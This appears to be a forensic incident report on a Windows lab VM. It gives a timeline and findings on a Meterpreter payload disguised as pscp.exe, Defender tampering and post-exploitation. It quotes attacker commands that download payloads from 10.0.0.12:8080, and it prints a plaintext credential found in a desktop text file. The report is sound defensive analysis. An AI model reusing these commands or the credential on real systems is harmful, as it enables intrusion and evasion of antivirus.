2023-11-10 11:13:35.796776	Event logs (EVTX)	EVTX event Security 4798 | Microsoft-Windows-Security-Auditing | A user's local group membership was enumerated | Target: DESKTOP-KJ81A5A\Administrator (S-1-5-21-1841083384-974204330-411256071-500) | SubjectLogonId: 0x15347 | CallerProcessName: C:\Windows\System32\net1.exe | CallerProcessId: 0x480	evtxecmd/evtxecmd_0.csv#27065	C:\Windows\system32\winevt\logs\Security.evtx	F-007, F-012, T-012
2023-11-10 11:13:35.806786	Event logs (EVTX)	EVTX event Security 4798 | Microsoft-Windows-Security-Auditing | A user's local group membership was enumerated | Target: DESKTOP-KJ81A5A\Administrator (S-1-5-21-1841083384-974204330-411256071-500) | SubjectLogonId: 0x15347 | CallerProcessName: C:\Windows\System32\net1.exe | CallerProcessId: 0x480	evtxecmd/evtxecmd_0.csv#27066	C:\Windows\system32\winevt\logs\Security.evtx	F-012
2023-11-10 11:13:46.104556	Event logs (EVTX)	EVTX event "C:\Users\medmondson\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" /update /restart /updateSource:ODU Microsoft-Windows-Sysmon/Operational 1 | Microsoft-Windows-Sysmon | Process creation | ProcessID: 7932, ProcessGUID: e6e9f951-1069-654e-ce01-000000000500 | RuleName: - | MD5=6CB3F2707BDB8F78FE81E8A20790A4B9,SHA256=F580F8C17F1B8F7EDE556A6C8060B8B6B84862B380EB43F2AD3E91D048A3F7B9,IMPHASH=830D771EB3CF1FC69DCD5AFD0A4A2D9A | ParentProcess: C:\Users\medmondson\AppData\Local\Microsoft\OneDrive\OneDrive.e	evtxecmd/evtxecmd_0.csv#18698	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-010
2023-11-10 11:13:46.742007	Event logs (EVTX)	EVTX event Security 4798 | Microsoft-Windows-Security-Auditing | A user's local group membership was enumerated | Target: DESKTOP-KJ81A5A\medmondson (S-1-5-21-1841083384-974204330-411256071-1001) | SubjectLogonId: 0x153A9 | CallerProcessName: C:\Windows\System32\notepad.exe | CallerProcessId: 0x3A4	evtxecmd/evtxecmd_0.csv#27067	C:\Windows\system32\winevt\logs\Security.evtx	F-015
2023-11-10 11:13:54.651364	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 11 | Microsoft-Windows-Sysmon | FileCreate | ProcessID: 1136, ProcessGUID: e6e9f951-0901-654e-1a00-000000000500 | RuleName: T1053 | Image: C:\Windows\system32\svchost.exe | TargetFilename: C:\Windows\System32\Tasks\OneDrive Standalone Update Task-S-1-5-21-1841083384-974204330-411256071-1001	evtxecmd/evtxecmd_0.csv#18927	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-010
2023-11-10 11:13:54.724308	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 13 | Microsoft-Windows-Sysmon | RegistryEvent (Value Set) | ProcessID: 3488, ProcessGUID: e6e9f951-106b-654e-cf01-000000000500 | RuleName: T1060,RunKey | Image: C:\Users\medmondson\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe | EventType: SetValue | TargetObject: HKU\S-1-5-21-1841083384-974204330-411256071-1001\Software\Microsoft\Windows\CurrentVer	evtxecmd/evtxecmd_0.csv#18928	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon%4Operational.evtx	F-010
2023-11-10 11:13:56	LNK files	LNK modified (≈ last opening) ; Target: created (recorded in the LNK) ; Target: modified (recorded in the LNK) ; Target: accessed (recorded in the LNK) C:\Users\medmondson\Desktop\not_my_pass.txt machine=desktop-kj81a5a MAC=00:0c:29:27:f7:8f volume=026F16D0 Fixed storage media (Hard drive) size=38	lecmd/lnk_C.csv#12	C:\users\medmondson\Appdata\Roaming\Microsoft\Windows\Recent\not_my_pass.txt.lnk	F-015
2023-11-10	$MFT	$SI creation (B)	mftecmd_mft/mft.csv#112639	C:\$MFT	F-015, I-014,

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
11:13:56.556811		C:\Users\medmondson\Desktop\not_my_pass.txt size=38			T-014
2023-11-10 11:13:56.556811	Registry: OpenSavePidlMRU	Opened/saved via dialog box This PC\Desktop\not_my_pass.txt txt mru=0	recmd_kroll/20261019151050/ recmd_kroll_C_OpenSavePidlMRU.csv #2		F-015, T-014
2023-11-10 11:13:56.556811	Registry: LastVisitedPidlMRU	Folder used by an application (dialog box) This PC\Desktop appli=NOTEPAD.EXE mru=0	recmd_kroll/20261019151050/ recmd_kroll_C_LastVisitedPidlMRU.csv #1		F-015
2023-11-10 11:13:56.556811	Windows Search (indexed files)	Indexed file: created C:\Users\medmondson\Desktop\not_my_pass.txt .txt size=38 owner=DESKTOP-KJ81A5A\medmondson user: medmondson pass: password123!@#	sidr/DESKTOP- KJ81A5A_File_Report_20261019_151100.037119200.csv#1215	C:\programdata\microsoft\search\data\ applications\windows\Windows.edb	F-015, I-014, T-014
2023-11-10 11:13:56.728699	$UsnJrnl:$J	USN $J C:\Users\medmondson\Desktop\not_my_pass.txt FileCreate [Archive] entry=83576-2	mftecmd_usnjrnl/usnjrnl.csv#134462	C:\$Extend\$J	F-015

2023-11-10 11:13:57	Windows Timeline
	(ActivitiesCache)
		Activity: start ; Activity: last modified
		System\notepad.exe
		not_my_pass.txt (Notepad) C:\Users\medmondson\Desktop\not_my_pass.txt (file:Unmapped GUID: //C:/Users/medmondson/Desktop/not_mypass.txt?VolumeId={B82366D2-0E5B-4C77-832C-871CFA42F90B}&ObjectId={CA1D2D78-7FB5-11EE-8A95-000C2927F78F}&KnownFolderId=ThisPCDesktopFolder&KnownFolderLength=27)
		type=ExecuteOpen
			wxtcmd/C/users/medmondson/
			Appdata/Local/
			ConnectedDevicesPlatform/
			L.medmondson/
			20261019171100_medmondson_Activity.csv#86
				C:\users\medmondson\Appdata\Local\
				ConnectedDevicesPlatform\
				L.medmondson\ActivitiesCache.db
					F-015

2023-11-10 11:13:57.559456	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 13 | Microsoft-Windows-Sysmon | RegistryEvent (Value Set) | ProcessID: 4216, ProcessGUID: e6e9f951-1075-654e-d701-000000000500 | RuleName: T1060,RunKey | Image: C:\Users\MEDMON~1\AppData\Local\Temp\EU3403.tmp\MicrosoftEdgeUpdate.exe | EventType: SetValue | TargetObject: HKU\S-1-5-21-1841083384-974204330-411256071-1001\Software\Microsoft\Windows\CurrentVersion\R	evtxecmd/evtxecmd_0.csv#19088	C:\Windows\system32\winevt\logs\ Microsoft-Windows-Sysmon %4Operational.evtx	F-010
2023-11-10 11:13:57.604874	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 11 | Microsoft-Windows-Sysmon | FileCreate | ProcessID: 1136, ProcessGUID: e6e9f951-0901-654e-1a00-000000000500 | RuleName: T1053 | Image: C:\Windows\system32\svchost.exe | TargetFilename: C:\Windows\System32\Tasks\MicrosoftEdgeUpdateTaskUserS-1-5-21-1841083384-974204330-411256071-1001Core{D843B141-3149-47D1-9EE1-6D3E61873AA0}	evtxecmd/evtxecmd_0.csv#19089	C:\Windows\system32\winevt\logs\ Microsoft-Windows-Sysmon %4Operational.evtx	F-010
2023-11-10 11:15:07.619336	$UsnJrnl:$J	USN $J C:\PathUnknown\Directory with ID 0x000146ED-00000002\MSEDGE.PACKED.7Z FileCreate [Archive] entry=83694-2	mftecmd_usnjrnl/usnjrnl.csv#135719	C:\$Extend\$J	F-019
2023-11-10 11:16:03.322916	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 11 | Microsoft-Windows-Sysmon | FileCreate | ProcessID: 7324, ProcessGUID: e6e9f951-0ded-654e-9001-000000000500 | RuleName: ProcessHostingdotNETCode | Image: C:\Windows\explorer.exe | TargetFilename: C:\Users\medmondson\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\explorer.exe.log	evtxecmd/evtxecmd_0.csv#19241	C:\Windows\system32\winevt\logs\ Microsoft-Windows-Sysmon %4Operational.evtx	F-010, I-020, T-019
2023-11-10 11:16:56.299955	Prefetch	Execution (Prefetch, previous) GKAPE.EXE runs=3 hash=274C6018 False	pecmd/prefetch_0.csv#48	C:\Windows\prefetch\GKAPE.EXE- 274C6018.pf	F-002
2023-11-10 11:17:00	SRUM (application timeline)	SRUM: end of application activity pscp.exe duration_ms=119993	srumecmd/ 20261019151050_SrumECmd_AppTimelineProvider_Output.csv#949	C:\Windows\system32\SRU\SRUDB.dat	F-008, T-019
2023-11-10 11:21:49.347147	Prefetch	Execution (Prefetch, last) KAPE.EXE runs=1 hash=34C8DA55 False	pecmd/prefetch_0.csv#51	C:\Windows\prefetch\KAPE.EXE- 34C8DA55.pf	F-001, F-002
2023-11-10 11:36:48.063750	PowerShell history (PSReadLine)	history: mtime C:\Users\medmondson\AppData\Roaming\Microsoft\Windows\PowerShell\psreadline\ConsoleHost_history.txt command=wget http://10.0.0.12:8080/pscp.exe -o test.exe | order=3	dissect/powershell_history.jsonl#5	C:\Users\medmondson\AppData\ Roaming\Microsoft\Windows\ PowerShell\psreadline\ ConsoleHost_history.txt	F-008, F-009, I-007, T-008
2023-11-10	PowerShell history	history: mtime	dissect/powershell_history.jsonl#19	C:\Users\medmondson\AppData\	F-008

Timestamp (UTC)	Artifact	Detail	Reference	Original source	Cited by
11:36:48.063750	(PSReadLine)	C:\Users\medmondson\AppData\Roaming\Microsoft\Windows\PowerShell\psreadline\ ConsoleHost_history.txt command=.\pscp.exe | order=17		Roaming\Microsoft\Windows\ PowerShell\psreadline\ ConsoleHost_history.txt	
2023-11-10 11:38:59.162328	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 2 | Microsoft-Windows-Sysmon | A process changed a file creation time | ProcessID: 7024, ProcessGUID: e6e9f951-1652-654e-4302-000000000500 | RuleName: T1099 | Image: C:\Users\medmondson\Downloads\NDP452-KB2901954-Web.exe | TargetFilename: C:\26cf4c312f44da411cfc70a7b86d02\header.bmp | CreationTimeUTC: 2014-02-27 05:44:28.000 | PreviousCreationTimeUTC: 2023-11-1	evtxecmd/evtxecmd_0.csv#19971	C:\Windows\system32\winevt\logs\ Microsoft-Windows-Sysmon %4Operational.evtx	F-018
2023-11-10 11:41:40.447180	$UsnJrnl:$J	USN $J C:\Users\medmondson\Desktop\Tools\Forensic_Program_Files\Live_Acquisition\Live_ Acquisition_Tools.7z FileCreate [Archive] entry=89237-3	mftecmd_usnjrnl/usnjrnl.csv#143282	C:\$Extend\$J	F-019
2023-11-10 11:43:00	SRUM (application resources)	SRUM: resource usage (end of period) \Device\HarddiskVolume4\Payloads\pscp.exe foreground read/written=4472832/0 background read/written=0/0	srumecmd/ 20261019151050_SrumECmd_AppResourceUseInfo_Output.csv#519	C:\Windows\system32\SRU\SRUDB.dat	F-008
2023-11-10 11:43:00	SRUM (network usage per application)	SRUM: network usage (end of period) \device\harddiskvolume4\windows\explorer.exe received=86237 sent=69181 IF_TYPE_ETHERNET_CSMACD	srumecmd/ 20261019151050_SrumECmd_NetworkUsages_Output.csv#111	C:\Windows\system32\SRU\SRUDB.dat	F-013, F-019
2023-11-10 12:29:39.825781	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 255 | Microsoft-Windows-Sysmon	evtxecmd/evtxecmd_0.csv#23123	C:\Windows\system32\winevt\logs\ Microsoft-Windows-Sysmon %4Operational.evtx	F-002
2023-11-10 12:31:24.097276	Prefetch	Execution (Prefetch, last) GKAPE.EXE runs=1 hash=820B4717 False	pecmd/prefetch_0.csv#49	C:\Windows\prefetch\GKAPE.EXE-820B4717.pf	F-001

4. Detailed findings

4.1 System context and scope

Host DESKTOP-KJ81A5A (formerly OOBE name WIN-ELL0II3NDSJ), Windows 10 Pro build 18362, installed 2023-11-09 11:02:48 UTC, TZ Pacific (bias 480). Single active admin user medmondson (SID ...-1001). VMware VM with Intel 82574L NIC, one network profile; Samsung T7 USB SSD (E:) attached 10:45:39–11:40:19 UTC. Sysmon 15.1 installed 10:51:10 UTC (telemetry start), Defender exclusion C:\Payloads\ at 10:52:49 (to pivot later). KAPE/gkape collection 11:21–12:31 UTC from Desktop\Tools (excluded). Findings F-001 (system description) and F-002 (scope limits) recorded.

F-001: System description: DESKTOP-KJ81A5A (Windows 10 Pro 1903 build 18362, lab VM, user medmondson)

Severity	**Informational**
Confidence	confirmed
Independent sources	artifact:defender (exclusions) artifact:prefetch artifact:raw.reg_networkadapters artifact:registry (recmd kroll) artifact:registry: accounts (sam) artifact:registry: known networks artifact:registry: profilelist artifact:registry: scsi artifact:registry: volumeinfocache evtx:microsoft-windows-sysmon%4operational.evtx evtx:system.evtx
Category	context
MITRE ATT&CK	n/a
Period (UTC)	2023-11-09 11:08:58.466478 → 2023-11-10 12:31:24.097276

Observed facts

Host name DESKTOP-KJ81A5A (SYSTEM\ControlSet001\Control\ComputerName\ComputerName), workgroup (no domain observed). OS: Windows 10 Pro (EditionID Professional), CurrentBuild 18362; InstallDate/InstallTime 2023-11-09 11:02:48 UTC; RegisteredOwner medmondson. Time zone: Pacific Standard Time, ActiveTimeBias 480 min (UTC-8; local = UTC-8h). Pre-rename OOBE hostname WIN-ELL0II3NDSJ appears in EVTX (System 6005/6009 at 2023-11-09 18:58:21 UTC; 1074 RuntimeBroker.exe (WIN-ELL0II3NDSJ)). Boots/restarts: 6005 at 2023-11-09 19:00:23, 2023-11-10 10:08:24, 10:15:30 (after msiexec restart 1074), 10:42:09 (after restart 1074 at 10:41:51). Accounts (SAM): Administrator(500), Guest(501), DefaultAccount(503), WDAGUtilityAccount(504) all disabled; defaultuser0 (1000, disabled, OOBE); medmondson (RID 1001, SID S-1-5-21-1841083384-974204330-411256071-1001, Administrators, created 2023-11-09 11:08:58, last login 2023-11-10 10:42:23, 7 logons) – the only interactive profile (C:\Users\medmondson). Network: Intel 82574L Gigabit (VMware NIC) + Kernel Debug adapter; single known network profile "Network" first connected 2023-11-09 19:00:26 UTC, last 2023-11-10 11:07:13 UTC. Storage: VMware Virtual disk, VMware SATA CD, and Samsung PSSD T7 (USB SSD, volume E: label "SSD") first installed 2023-11-10 10:45:39, last connected 11:40:19 UTC. Sysmon 15.1 installed by the user at 2023-11-10 10:51:10 UTC with C:\Users\medmondson\Desktop\Tools\sysmon-config.xml (Sysmon EID 16 / EID 4) — Sysmon coverage therefore begins 10:51:11 UTC (EID1: 228, EID3: 33, EID11: 3487, EID22: 121, EID8: 3, EID5: 38). Defender path exclusion C:\Payloads\ (key mtime 2023-11-10 10:52:49 UTC). Collection: KAPE.EXE run 2023-11-10 11:21:49 and gkape.exe last run 2023-11-10 12:31:24 UTC (Prefetch), from C:\Users\medmondson\Desktop\Tools\Forensic_Program_Files\Live_Acquisition\...\KAPE — analyst/collection activity, excluded from findings. No Security 1102 / System 104 log-clear events.

Analysis

Freshly installed lab VM (installed 2023-11-09), single administrative user medmondson. The analyst context ("a little dirty") is consistent with setup activity on 2023-11-09/10: Sysmon install at 10:51, forensic tools on Desktop\Tools, Samsung T7 USB SSD (probably tools/collection media), Defender exclusion for C:\Payloads\ (10:52:49 UTC, one minute after Sysmon install – likely lab staging of the payload, to be evaluated in later steps as it may relate to the malicious executable). Any activity before 10:51:11 UTC has no Sysmon process telemetry. KAPE/gkape and Sysmon installation are context, not attacker activity.

Evidence (19)

UTC	Artifact	Detail	Reference	Original source
2023-11-09 19:00:23.673334	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\ComputerName\ ComputerName System Info | System Info (Current) | ComputerName=DESKTOP-KJ81A5A	recmd_kroll/ recmd_kroll_C.csv#2177	C:\Windows\system32\ config\SYSTEM
2023-11-10 10:42:10.376162	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion System Info | System Info (Current) | ProductName=Windows 10 Pro	recmd_kroll/ recmd_kroll_C.csv#25	C:\Windows\system32\ config\SOFTWARE
2023-11-10 10:42:10.376162	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion System Info | System Info (Current) | InstallDate=2023-11-09 11:02:48.0000000	recmd_kroll/ recmd_kroll_C.csv#26	C:\Windows\system32\ config\SOFTWARE
2023-11-10 10:42:10.376162	Registry (RECmd Kroll)	Registry: key last written ROOT\Microsoft\Windows NT\CurrentVersion System Info | System Info (Current) | CurrentBuild=18362	recmd_kroll/ recmd_kroll_C.csv#31	C:\Windows\system32\ config\SOFTWARE
2023-11-09 18:58:05.585121	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\TimeZoneInformation System Info | System Time Zone Information | TimeZoneKeyName=Pacific Standard Time | Pacific Standard Time	recmd_kroll/ recmd_kroll_C.csv#2164	C:\Windows\system32\ config\SYSTEM
2023-11-09 18:58:05.585121	Registry (RECmd Kroll)	Registry: key last written ROOT\ControlSet001\Control\TimeZoneInformation System Info | System Time Zone Information | ActiveTimeBias=480 | 480	recmd_kroll/ recmd_kroll_C.csv#2165	C:\Windows\system32\ config\SYSTEM
2023-11-09 11:08:58.466478	Registry: accounts (SAM)	Account created medmondson RID=1001 logons=7 groups=Administrators	recmd_kroll/ 20261019151050/ recmd_kroll_C_UserAccounts.csv#5	
2023-11-10 10:41:53.368481	Registry: ProfileList	Profile: last logoff C:\Users\medmondson S-1-5-21-1841083384-974204330-411256071-1001	recmd_kroll/ 20261019151050/ recmd_kroll_C_ProfileList.csv#4	
	raw.reg_networkadapters	{"Timestamp": "2023-11-09 18:58:23.3861757", "BatchKeyPath": "ROOT\\ControlSet001\\Control\\Class\\{4d36e972-e325-11ce-bfc1-08002be10318}\\0001", "DriverDesc": "Intel(R) 82574L Gigabit Network Connection", "BatchValueName": "Multiple", "DriverDate": "6-12-2018", "DriverVersion": "12.17.10.8", "ProviderName": "Microsoft", "DeviceInstanceid": "PCI\\V	recmd_kroll/ 20261019151050/ recmd_kroll_C_NetworkAdapters.csv#2	
2023-11-09 19:00:26.938000	Registry: known networks	Network: first connected [local time converted to UTC, ActiveTimeBias=480 min] Network Wired passerelle=88-9E-68-2C-5B-05 DNS=hsd1.md.comcast.net	recmd_kroll/ 20261019151050/ recmd_kroll_C_KnownNetworks.csv#1	
2023-11-10 10:45:39.658338	Registry: SCSI	Disk: installed ; Disk: first installed Ven_Samsung Prod_PSSD_T7 serial=000000 Samsung PSSD T7 SCSI Disk Device	recmd_kroll/ 20261019151050/ recmd_kroll_C_SCSI.csv#2	
2023-11-10 10:45:49.033342	Registry: VolumeInfoCache	Volume seen (VolumeInfoCache) DriveName=E: | VolumeLabel=SSD | DriveType=Fixed	recmd_kroll/ 20261019151050/ recmd_kroll_C_VolumeInfoCache.csv#2	
2023-11-09 18:58:21.136176	Event logs (EVTX)	EVTX event System 6009 | EventLog	evtxecmd/ evtxecmd_0.csv#27546	C:\Windows\system32\ winevt\logs\System.evtx
2023-11-09 11:22:18.737962	Event logs (EVTX)	EVTX event C:\Windows\System32\RuntimeBroker.exe (WIN-ELL0II3NDSJ) System 1074 | User32 | A user initiated a system restart | Hostname: DESKTOP-KJ81A5A | Reason: Other (Unplanned) | Type: power off | Code: 0x0 | C:\Windows\System32\ RuntimeBroker.exe (WIN-ELL0II3NDSJ)	evtxecmd/ evtxecmd_0.csv#27759	C:\Windows\system32\ winevt\logs\System.evtx
2023-11-10 10:51:10.762839	Event logs (EVTX)	EVTX event C:\Users\medmondson\Desktop\Tools\sysmon-config.xml Microsoft-Windows-Sysmon/Operational 16 | Microsoft-	evtxecmd/ evtxecmd_0.csv#18346	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon

UTC	Artifact	Detail	Reference	Original source
		Windows-Sysmon | ServiceConfigurationChange | ConfigurationFileHash: SHA256=E771CA7BD01FDB1BA7014BEB86D74AC9B30D7080AE79B1B8D55419E46C525D24 | C:\Users\medmondson\Desktop\Tools\sysmon-config.xml		%4Operational.evtx
2023-11-10 10:51:11.035506	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 4 | Microsoft-Windows-Sysmon | Sysmon service state changed | Sysmon Version 15.1 | Status: Started | Timestamp: 2023-11-10 10:51:11.027	evtxecmd/ evtxecmd_0.csv#18347	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 11:21:49.347147	Prefetch	Execution (Prefetch, last) KAPE.EXE runs=1 hash=34C8DA55 False	pecmd/ prefetch_0.csv#51	C:\Windows\prefetch\KAPE.EXE-34C8DA55.pf
2023-11-10 12:31:24.097276	Prefetch	Execution (Prefetch, last) GKAPE.EXE runs=1 hash=820B4717 False	pecmd/ prefetch_0.csv#49	C:\Windows\prefetch\GKAPE.EXE-820B4717.pf
2023-11-10 10:52:49.247112	Defender (exclusions)	exclusion: regf_mtime type=Paths | value=C:\Payloads\	dissect/ defender.exclusions.jsonl #2	

F-002: Scope limitations: Sysmon telemetry only from 2023-11-10 10:51:11 UTC; Dissect partial; SIDR dirty database; 2026-10-19 copy artefacts

Severity	**Informational**
Confidence	confirmed
Independent sources	artifact:prefetch evtx:microsoft-windows-sysmon%4operational.evtx
Category	context
MITRE ATT&CK	n/a
Period (UTC)	2023-11-10 10:51:10.762839 → 2023-11-10 12:29:39.825781

Observed facts

(1) Sysmon was installed at 2023-11-10 10:51:10 UTC (EID 16 config C:\Users\medmondson\Desktop\Tools\sysmon-config.xml, SHA256 E771CA7B…5D24; EID 4 started 10:51:11): no Sysmon process/network telemetry before that time. A Sysmon EID 255 error (ID AnswerQuery, "Unknown query event type 12") at 2023-11-10 12:29:39 UTC indicates a DNS-query parsing error (single event). (2) Job 'dissect' status partial (Python traceback); job 'sidr' warning "database state is not clean" (Windows.edb replayed with esentutl /r). (3) Security log starts 2023-11-09 11:02:41; no 4688 process auditing analysis possible unless enabled (to be checked). No log-clear events (Security 1102 / System 104 absent). (4) Prefetch/LNK SourceCreated 2026-10-19 15:05 = copy to analysis VM, not evidence. (5) Collection: KAPE.EXE 2023-11-10 11:21:49, gkape.exe 11:23:44 and 12:31:24 UTC – activity after ~12:31 is collection.

Analysis

Process lineage questions (ProcessGuid chain) rely on Sysmon, which covers the period from 10:51:11 UTC to collection. Absence of evidence before 10:51 in Sysmon is not evidence of absence; Prefetch/Amcache/ShimCache/BAM must cover earlier periods.

Evidence (5)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 10:51:10.762839	Event logs (EVTX)	EVTX event C:\Users\medmondson\Desktop\Tools\sysmon-config.xml Microsoft-Windows-Sysmon/Operational 16 | Microsoft-Windows-Sysmon | ServiceConfigurationChange | ConfigurationFileHash: SHA256=E771CA7BD01FDB1BA7014BEB86D74AC9B30D7080AE79B1B8D55419E46C525D24 | C:\Users\medmondson\Desktop\Tools\sysmon-config.xml	evtxecmd/ evtxecmd_0.csv#18346	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 10:51:11.035506	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 4 | Microsoft-Windows-Sysmon | Sysmon service state changed |	evtxecmd/ evtxecmd_0.csv#18347	C:\Windows\system32\winevt\logs\Microsoft-Windows-Sysmon

UTC	Artifact	Detail	Reference	Original source
		Sysmon Version 15.1 | Status: Started | Timestamp: 2023-11-10 10:51:11.027		%4Operational.evtx
2023-11-10 12:29:39.825781	Event logs (EVTX)	EVTX event Microsoft-Windows-Sysmon/Operational 255 | Microsoft-Windows-Sysmon	evtxecmd/ evtxecmd_0.csv#23123	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Sysmon %4Operational.evtx
2023-11-10 11:21:49.347147	Prefetch	Execution (Prefetch, last) KAPE.EXE runs=1 hash=34C8DA55 False	pecmd/ prefetch_0.csv#51	C:\Windows\prefetch\ KAPE.EXE-34C8DA55.pf
2023-11-10 11:16:56.299955	Prefetch	Execution (Prefetch, previous) GKAPE.EXE runs=3 hash=274C6018 False	pecmd/ prefetch_0.csv#48	C:\Windows\prefetch\ GKAPE.EXE-274C6018.pf

4.2 Triage of automatic detections

Triaged all critical/high/medium detections (Hayabusa, Chainsaw, Zircolite) and verified source events in raw.evtx. True positives: (F-003) Defender 1116/1117 Trojan:Win64/Meterpreter.E on Downloads\pscp.exe from http://10.0.0.12:8080/pscp.exe at 10:16:43, 10:17:53, 10:19:36 UTC; (F-004) Defender tampering: SpyNet/sample submission off, TamperProtection toggled, exclusion C:\Payloads\ at 10:19:24, RTP disabled 10:19:46 and 11:02:12 (5001, Sysmon 13 DisableRealtimeMonitoring); (F-005) C:\Payloads\pscp.exe executed 11:03:09 (Sysmon 1 PID 2196 GUID {e6e9f951-0ded-654e-8f01-000000000500}, SHA256 ABBF7B5F…C6CF931, MD5 DED9E58D…5F1, PuTTY PSCP 0.79 version info = masquerade; Prefetch run 1) spawning explorer.exe PID 7324 {e6e9f951-0ded-654e-9001-000000000500} with CreateRemoteThread (migration), then explorer→lsass remote thread 11:03:56; (F-006) post-exploitation from explorer 7324: cmd 6600 → tracert x3, quser; MSFConsole PowerShell host in explorer.exe (Invoke-DcSync bootstrap) at 11:06:40; cmd 5848 → powershell 736 → wget http://10.0.0.12:8080/1.exe (Sysmon 3 to 10.0.0.12:8080) and tasklist. Related files C:\Payloads\test.exe and C:\Users\ medmondson\1.exe (same size 986,624 B) show no execution evidence. IOCs I-001..I-006 and timeline T-001..T-007 recorded. FPs documented in note.

F-003: Windows Defender detected Trojan:Win64/Meterpreter.E in pscp.exe downloaded from http://10.0.0.12:8080/pscp.exe (3 download attempts)

Severity	**Critical**
Confidence	confirmed
Independent sources	artifact:$mft evtx:microsoft-windows-windows defender%4operational.evtx
Category	initial access / malware detection
MITRE ATT&CK	T1105, T1036.005, T1204.002
Period (UTC)	2023-11-10 10:16:38.642518 → 2023-11-10 10:19:53.851269

Observed facts

Microsoft-Windows-Windows Defender/Operational: EID 1116 (RecordIDs 15,16 at 10:16:43–44 UTC; 22,23 at 10:17:53–54; 26,27 at 10:19:36) and EID 1117 action taken (RecordIDs 17 at 10:16:52, 24 at 10:17:59, 28 at 10:19:41) — threat "Trojan:Win64/Meterpreter.E" (Severe), file C:\Users\medmondson\Downloads\pscp.exe, webfile origin http://10.0.0.12:8080/pscp.exe, detecting process C:\Windows\System32\browser_broker.exe (Edge downloads, browser pids 8820, 8364, 4140), user DESKTOP-KJ81A5A\medmondson. Fired Hayabusa 'Defender Alert (Severe)' / 'Antivirus - Exploitation Framework Signature' (critical), Chainsaw/Zircolite 'Windows Defender Threat Detected'. $MFT: Edge cache copy …\MicrosoftEdge\Cache\A6816M2V\pscp[1].exe (986,624 bytes, created 10:16:38 UTC); C:\Payloads\pscp.exe (MFT entry 85781, 986,624 bytes, $SI created 10:20:10, modified 10:19:53) with Zone.Identifier ADS 'ZoneId=3 ReferrerUrl=http://10.0.0.12:8080/ HostUrl=http://10.0.0.12:8080/pscp.exe'. ShimCache lists both C:\Users\ medmondson\Downloads\pscp.exe and C:\Payloads\pscp.exe (mtime 10:19:53).

Analysis

True positive. The file named after the PuTTY SCP client is a Meterpreter payload served from the internal host 10.0.0.12 (HTTP 8080). Defender blocked/remediated it three times; afterwards (see Defender tampering finding) the file was re-saved into the excluded folder C:\Payloads\ at 10:19:53–10:20:10 UTC, which bypassed detection. Same size (986,624

bytes) as C:\Payloads\test.exe and C:\Users\medmondson\1.exe, suggesting the same payload under several names (to verify by hashing).

Evidence (10)

UTC	Artifact	Detail	Reference	Original source
2023-11-10 10:16:43.841943	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:16:43.470Z | Process (if real-time detection): C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#23714	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
2023-11-10 10:16:44.708098	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe| http://10.0.0.12:8080/pscp.exe| pid:8820,ProcessStart:133440850044617643 Microsoft-Windows-Windows Defender/Operational 1116 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform detected malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:16:43.470Z | Process (if real-time detection): C:\Windows\Sy	evtxecmd/ evtxecmd_0.csv#23715	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
2023-11-10 10:16:52.220594	Event logs (EVTX)	EVTX event file:_C:\Users\medmondson\Downloads\pscp.exe; webfile:_C:\Users\medmondson\Downloads\pscp.exe| http://10.0.0.12:8080/pscp.exe| pid:8820,ProcessStart:133440850044617643 Microsoft-Windows-Windows Defender/Operational 1117 | Microsoft-Windows-Windows Defender | Detection - The antimalware platform performed an action to protect your system from malware or other potentially unwanted software | Malware name: Trojan:Win64/Meterpreter.E | Description: Trojan (Severe) | Detection Time: 2023-11-10T10:16:43.470Z | Process	evtxecmd/ evtxecmd_0.csv#23716	C:\Windows\system32\ winevt\logs\Microsoft-Windows-Windows Defender %4Operational.evtx
